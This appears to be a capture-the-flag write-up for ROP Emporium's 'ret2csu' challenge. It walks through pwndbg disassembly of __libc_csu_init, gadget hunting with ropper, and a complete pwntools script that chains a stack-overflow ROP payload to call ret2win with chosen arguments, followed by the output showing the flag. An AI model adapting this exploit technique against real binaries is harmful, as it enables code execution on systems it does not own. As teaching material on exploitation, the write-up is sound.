ret2csu
ret2csu
Description
This is the final problem in ropemporium, aptly named ret2csu after the vulnerability.
ret2csu is a ROP chain that is present in every ELF that contains __libc_csu_init
.
Exploration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
pwndbg> disass __libc_csu_init
Dump of assembler code for function __libc_csu_init:
0x0000000000400640 <+0>: push r15
0x0000000000400642 <+2>: push r14
0x0000000000400644 <+4>: mov r15,rdx
0x0000000000400647 <+7>: push r13
0x0000000000400649 <+9>: push r12
0x000000000040064b <+11>: lea r12,[rip+0x20079e] # 0x600df0
0x0000000000400652 <+18>: push rbp
0x0000000000400653 <+19>: lea rbp,[rip+0x20079e] # 0x600df8
0x000000000040065a <+26>: push rbx
0x000000000040065b <+27>: mov r13d,edi
0x000000000040065e <+30>: mov r14,rsi
0x0000000000400661 <+33>: sub rbp,r12
0x0000000000400664 <+36>: sub rsp,0x8
0x0000000000400668 <+40>: sar rbp,0x3
0x000000000040066c <+44>: call 0x4004d0 <_init>
0x0000000000400671 <+49>: test rbp,rbp
0x0000000000400674 <+52>: je 0x400696 <__libc_csu_init+86>
0x0000000000400676 <+54>: xor ebx,ebx
0x0000000000400678 <+56>: nop DWORD PTR [rax+rax*1+0x0]
0x0000000000400680 <+64>: mov rdx,r15
0x0000000000400683 <+67>: mov rsi,r14
0x0000000000400686 <+70>: mov edi,r13d
0x0000000000400689 <+73>: call QWORD PTR [r12+rbx*8]
0x000000000040068d <+77>: add rbx,0x1
0x0000000000400691 <+81>: cmp rbp,rbx
0x0000000000400694 <+84>: jne 0x400680 <__libc_csu_init+64>
0x0000000000400696 <+86>: add rsp,0x8
0x000000000040069a <+90>: pop rbx
0x000000000040069b <+91>: pop rbp
0x000000000040069c <+92>: pop r12
0x000000000040069e <+94>: pop r13
0x00000000004006a0 <+96>: pop r14
0x00000000004006a2 <+98>: pop r15
0x00000000004006a4 <+100>: ret
End of assembler dump.
This is __libc_csu_init
, which contains a ROP gadget that can do almost anything:
mov rdx,r15
mov rsi, r14
mov edi, r13d
call QWORD PTR [r12+rbx*8]
add rbx,0x1
cmp rbp,rbx
jne 0x400680
add rsp,0x8
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
With multiple calls, we can set edi
, rsi
, and rdx
. We’ll also call the address at r12+rbx*8
(not the value, the value at the address). The first call to the gadget would be setting all of the numbered. The second call to the gadget would set up the argument registers, blow past the call and jump, and return to any address we want.
The second call would need rbx+1
to be equal to rbp
, but we control rbp. We can set rbp
to 1 and rbx
to 0 so that the call instruction just uses r12
(0*8 = 0
).
All that is necessary now is to put an address into r12
that contains an address of any simple gadget or function.
Luckily, we have _init
, which is always present in a binary:
1
2
3
4
5
6
7
8
9
10
pwndbg> disass _init
Dump of assembler code for function _init:
0x00000000004004d0 <+0>: sub rsp,0x8
0x00000000004004d4 <+4>: mov rax,QWORD PTR [rip+0x200b1d] # 0x600ff8
0x00000000004004db <+11>: test rax,rax
0x00000000004004de <+14>: je 0x4004e2 <_init+18>
0x00000000004004e0 <+16>: call rax
0x00000000004004e2 <+18>: add rsp,0x8
0x00000000004004e6 <+22>: ret
End of assembler dump.
It then will never jump, since je
will only work when rax
is 0. Luckily, rax
should be 0:
1
2
pwndbg> p/x *0x600ff8
$4 = 0x0
Therefore, this call will do nothing. The only issue is figuring out somewhere that has the address of _init
. There’s also a solution to that: the .dynamic
section.
1
2
3
4
5
6
pwndbg> x/10gx &_DYNAMIC
0x600e00: 0x0000000000000001 0x0000000000000001
0x600e10: 0x0000000000000001 0x0000000000000038
0x600e20: 0x000000000000001d 0x0000000000000078
0x600e30: 0x000000000000000c 0x00000000004004d0
0x600e40: 0x000000000000000d 0x00000000004006b4
We can see that the address for _init
is at 0x600e38
.
There is one last problem: the gadgets only set up edi
, not rdi
. There is, however, a standard pop rdi
:
1
2
3
4
5
6
7
$ ropper --file ./ret2csu --search "pop rdi"[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi
[INFO] File: ./ret2csu
0x00000000004006a3: pop rdi; ret;
Therefore, our payload is as follows:
- set
r12 = 0x600e38
- set
rbx = 0
- set
rbp = 1
- set
r13d
to whatever, as we will setrdi
later - set
r14
to the value thatrsi
will eventually be the second argument,0xcafebabecafebabe
- set
r15
to the value thatrdx
will eventually be the third argument,0xd00df00dd00df00d
- set
rdi
to0xdeadbeefdeadbeef
In segments:
- the first part will set all of the initial registers
- the second part will set all of the argument registers. note that we’ll also need to account for the
add rsp,0x8
and the 6 pops (effectively 7 pops) before the realret
- the third part will set
rdi
- the final part will call
ret2csu
Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/env python3
from pwn import *
exe = ELF("./ret2csu")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("addr", 1337)
return r
def main():
# r = conn()
r = process([exe.path])
# good luck pwning :)
offset = 0x28
_init_gadget = 0x600e38
part1_gadget = 0x40069a # pop rbx, rbp, r12, r13, r14, r15
part1 = flat([
part1_gadget,
0, # rbx
1, # rbp
_init_gadget, # r12
0xdeadbeef, # junk, since rdi will be set later
0xcafebabecafebabe, # r14 (rsi later)
0xd00df00dd00df00d, # r15 (rdx later)
])
part2_gadget = 0x400680
part2 = flat([
part2_gadget,
0xdeadbeef, # junk, will be lost by add rsp
0xdeadbeef, # junk, will be placed into rbx
0xdeadbeef, # junk, will be placed into rbp
0xdeadbeef, # junk, will be placed into r12
0xdeadbeef, # junk, will be placed into r13
0xdeadbeef, # junk, will be placed into r14
0xdeadbeef, # junk, will be placed into r15
])
rdi_gadget = 0x4006a3
part3 = flat([
rdi_gadget,
0xdeadbeefdeadbeef,
exe.plt["ret2win"]
])
payload = flat({
offset: [
part1,
part2,
part3
]
})
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()
Running
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ ./solve.py LOCAL
[*] '/home/ctf/ctf/ropemporium/ret2csu/ret2csu'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
Stripped: No
[+] Starting local process '/home/ctf/ctf/ropemporium/ret2csu/ret2csu': pid 3326804
[*] Switching to interactive mode
[*] Process '/home/ctf/ctf/ropemporium/ret2csu/ret2csu' stopped with exit code 0 (pid 3326804)
ret2csu by ROP Emporium
x86_64
Check out https://ropemporium.com/challenge/ret2csu.html for information on how to solve this challenge.
> Thank you!
ROPE{a_placeholder_32byte_flag!}